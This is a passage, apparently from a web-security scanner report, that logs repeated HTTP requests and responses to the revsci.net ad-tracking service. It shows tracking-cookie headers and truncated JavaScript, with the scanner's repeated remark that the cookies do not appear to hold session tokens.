udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbWkv8fV+8er9duzVms+8pMh; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:24 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b4&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:24 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:24 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/605657366.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LC16GSieI1VkRva98=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:36 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647c&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:36 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:35 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/664658967.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl+HSaKI0VkQza9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:12 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:12 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:12 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/669682607.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV6GSaeI0VkRfa9g=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:56 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6490&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:56 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:55 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/686809393.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; 